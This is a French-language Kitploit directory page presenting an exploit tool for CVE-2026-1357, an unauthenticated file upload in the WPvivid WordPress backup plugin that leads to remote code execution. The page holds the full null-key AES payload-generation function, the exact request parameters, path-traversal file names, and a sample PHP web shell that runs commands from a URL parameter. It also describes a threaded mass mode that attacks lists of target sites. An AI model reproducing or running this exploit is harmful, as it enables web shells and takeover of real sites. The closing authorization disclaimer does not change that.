Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Téléversement arbitraire de fichiers sans authentification | Kitploit
Outils/GitHubGitHub/nxploited/cve-2026-1357
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Téléversement arbitraire de fichiers sans authentification

Voir le dépôt
12il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🧨 CVE-2026-1357 – Outil d'exploitation WPvivid à clé nulle (CVE-2026-1357.py)

Migration, sauvegarde, staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnérabilité : Téléversement arbitraire de fichier sans authentification → Exécution de code à distance
CVE : CVE-2026-1357 – CVSS 9.8 (Critique)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Ce que fait ce script

Nxploited

CVE-2026-1357.py est un outil d'exploitation de type preuve de concept pour la vulnérabilité WPvivid. Il se concentre sur la gestion défaillante de session AES qui permet à un attaquant de :

  1. Chiffrer une charge utile avec une clé/IV AES nulle (tous les octets à zéro) dans le même format attendu par WPvivid.
  2. Intégrer dans la charge utile un contenu de fichier arbitraire (par exemple, un shell PHP) ainsi qu'un nom/chemin de fichier choisi (name).
  3. Envoyer cette charge utile au point de terminaison WPvivid via le paramètre wpvivid_action=send_to_site.
  4. (En option) vérifier si le fichier a bien été écrit et est accessible.

Le script ne tente pas de deviner ou d'abuser directement des clés privées. Il simule plutôt le flux défaillant de WPvivid dans lequel un échec de openssl_private_decrypt() conduit le chiffrement AES de phpseclib à être initialisé avec une clé nulle.


🧠 Détails techniques internes

🔐 Charge utile AES à clé nulle

Le cœur de l'exploit se trouve dans gen_wpvivid_payload() :

  • Il construit une structure JSON :

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Il sérialise ce JSON (forme compacte, sans espaces).

  • Il chiffre le JSON en utilisant :

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Il ajoute ensuite au début :

    • 3 octets : "000" (un espace réservé statique pour le champ de longueur).
    • 16 octets en hexadécimal majuscule : longueur du chiffré encodée sous la forme "{len(cipher):016X}".
  • Le blob chiffré final est :

    root@kitploit:~
    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • Ce blob est encodé en base64 et renvoyé comme valeur finale wpvivid_content.

Fonction :

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Cela correspond aux attentes de déchiffrement de WPvivid dans le chemin de code vulnérable après l'échec du déchiffrement RSA.


🧰 Fonctionnalités et modes

Le script propose deux modes principaux plus une capacité de test en masse :

  1. mood1 – Générateur de charge utile

    • Génère une valeur wpvivid_content valide en utilisant l'astuce de la clé nulle.
    • Prend en charge plusieurs façons de définir le contenu du fichier.
    • Lance éventuellement le testeur de masse contre une liste de cibles.
  2. mood2 – Testeur sur cible unique

    • Utilise une charge utile générée précédemment.
    • Teste une seule cible de bout en bout :
      • Envoie la charge utile.
      • Construit l'URL de fichier résultant attendue.
      • Vérifie si le fichier est accessible.
  3. Mode masse (à partir de mood1)

    • Envoie une charge utile choisie à plusieurs cibles à partir d'un fichier de liste.
    • Utilise la concurrence et une barre de progression.
    • Suit et journalise les téléversements réussis.

🚦 Exécution du script

root@kitploit:~
python3 CVE-2026-1357.py

Vous verrez une interface basée sur Rich avec une bannière et une sélection de mode :

  • mood1 – Générateur de charge utile
  • mood2 – Testeur sur cible unique

🧪 Mode : mood1 – Générateur de charge utile

Objectif

  • Créer une charge utile d'exploit (wpvivid_content) qui encode :
    • Le chemin/nom de fichier que vous voulez que WPvivid écrive.
    • Le contenu du fichier (shell, fichier de test, etc.).

Déroulement

  1. Sélection du mode

    Lorsque vous y êtes invité :

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Appuyez sur Entrée (par défaut mood1) ou saisissez mood1.

  2. Nom de fichier / chemin cible

    Il vous est demandé :

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Exemples :

    • Pour déposer un fichier dans le répertoire de sauvegarde WPvivid :

      root@kitploit:~
      Nx_.php
      
    • Pour abuser d'une traversée de répertoire (si la cible l'autorise) :

      root@kitploit:~
      ../../public_html/Nx_.php
      

    La valeur est placée dans le champ name de la charge utile JSON.

  3. Mode de saisie du contenu

    Le script affiche trois façons de définir le contenu du fichier :

    • Mode 1 : contenu sur une seule ligne.
    • Mode 2 : contenu multiligne (se termine par EOF).
    • Mode 3 : lecture depuis un fichier local (par exemple shell.php).

    L'invite suivante s'affiche :

    root@kitploit:~
    Mode [1/2/3] [1]:
    
    • Mode 1 – Ligne unique

      root@kitploit:~
      Single line content:
      

      Exemple de saisie :

      root@kitploit:~
      <?php phpinfo();
      
    • Mode 2 – Multiligne

      root@kitploit:~
      Enter file content, line by line. Type 'EOF' on its own line when done.
      

      Vous pouvez coller ou saisir un script PHP multiligne, puis terminer par EOF sur sa propre ligne :

      root@kitploit:~
      <?php
      echo "Nxploited shell";
      system($_GET['cmd'] ?? 'id');
      ?>
      EOF
      
    • Mode 3 – Fichier local

      root@kitploit:~
      Local file path (e.g., shell.php):
      

      Le script lit l'intégralité du fichier dans file_bytes.

  4. Génération de la charge utile

    Une fois le contenu capturé, le script :

    • Construit l'objet JSON.
    • Le chiffre avec AES-CBC à clé nulle.
    • Encapsule le blob binaire.
    • L'encode en base64.

    Vous obtenez une sortie comme :

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    Et un fichier wpvivid_payload.txt est écrit :

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    

Optionnel : Mode masse depuis mood1

Après avoir généré la charge utile, le script demande :

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

Si vous répondez y, il lance le mode masse avec la charge utile et le nom de fichier que vous venez de créer.


🌐 Mode masse – Cibles multiples

Objectif

  • Prendre une charge utile d'exploit unique et la tester contre une liste de cibles.

Déroulement

  1. Fichier de cibles

    Exemple d'invite :

    root@kitploit:~
    Targets list file (one URL per line):
    

    Format attendu du fichier (par exemple targets.txt) :

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    Le script normalisera automatiquement les URL de base (en ajoutant le schéma si nécessaire).

  2. Nombre de threads

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    Contrôle le nombre de sites traités en parallèle.

  3. Logique par cible

    Pour chaque cible :

    • Normaliser l'URL → base_url.

    • Appeler :

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      qui :

      • Construit la requête POST wpvivid_action=send_to_site + wpvivid_content=<payload>.
      • L'envoie via une nouvelle session avec des réglages de pool de connexions ajustés.
      • Vérifie si la réponse contient {"result":"success"} (vérification sous forme compacte).
    • Si le téléversement est considéré comme réussi :

      • Construire shell_url comme :

        root@kitploit:~
        f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
        
      • L'enregistrer dans Nx_.txt.

      • Tenter verify_written_file() :

        • Envoyer une requête GET à shell_url.
        • Si status_code == 200, le marquer comme vérifié.
    • Si des erreurs surviennent :

      • Le script classe la raison via short_reason() :
        • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
  4. Interface

    • La barre de progression Rich affiche la progression globale et le temps écoulé.
    • Chaque site affiche :
      • [OK] <shell_url> en cas de succès.
      • [FAIL] <base> (reason: ...) en cas d'erreur.
      • [!] Not verified (...) lorsque le téléversement a peut-être réussi mais que la vérification a échoué.

🧪 Mode : mood2 – Testeur sur cible unique

Objectif

  • Utiliser une charge utile existante (depuis wpvivid_payload.txt ou une source externe) contre une URL unique, puis vérifier le fichier résultant.

Déroulement

  1. URL cible

    Invite :

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    Exemple :

    root@kitploit:~
    https://victim.com
    

    Le script normalise ceci en une base comme :

    root@kitploit:~
    https://victim.com
    
  2. Nom de fichier

    Invite :

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    C'est le nom/chemin que vous attendez que WPvivid écrive (correspondant à ce que vous avez encodé dans le champ name de la charge utile).

  3. Saisie de la charge utile

    Invite :

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • Si vous collez une ligne complète commençant par wpvivid_content=..., le préfixe est supprimé.
    • Si vous collez uniquement le base64, il le prend tel quel.
  4. Exécution

    Le script :

    • Envoie la requête POST avec wpvivid_action=send_to_site + votre wpvivid_content.

    • Si la réponse suggère un succès, il construit :

      root@kitploit:~
      <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
      

      et affiche [OK] avec cette URL.

    • Ajoute les URL réussies à Nx_.txt.

    • Tente la vérification via verify_written_file() et affiche le résultat.

Ce mode est idéal pour les tests manuels / en laboratoire d'un site unique avec un contrôle fin de la charge utile.


📁 Fichiers de sortie

  • wpvivid_payload.txt

    • Écrit dans mood1.
    • Stocke :
      • file_name=<file_name_you_chose>
      • wpvivid_content=<payload>
  • Nx_.txt

    • Écrit par mood1 (mode masse) et mood2.
    • Contient une URL de fichier réussie par ligne lorsque le téléversement semble avoir réussi (et éventuellement vérifié).

⚠️ Avertissement

Cet outil est destiné uniquement à :

  • La recherche en sécurité dans des environnements contrôlés.
  • Tester des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
  • Valider les mesures de remédiation et de détection pour CVE-2026-1357.

En utilisant ce script, vous acceptez que :

  • Vous êtes responsable du respect de toutes les lois applicables.
  • Vous ne l'utiliserez pas sur des systèmes sans autorisation appropriée.
  • L'auteur (Nxploited) n'assume aucune responsabilité en cas de mauvaise utilisation, de dommages, de problèmes juridiques ou d'incidents découlant de l'utilisation de cet outil.

Utilisez-le à vos propres risques et uniquement pour des tests de sécurité légitimes.


✍️ Auteur et contact

  • Par : Nxploited (Khaled Alenazi)
  • GitHub : https://github.com/Nxploited
  • Telegram : @KNxploited

Pour les mises à jour, les outils et le contenu de recherche en sécurité, suivez la chaîne Telegram :
👉 @KNxploited

Télécharger l’outil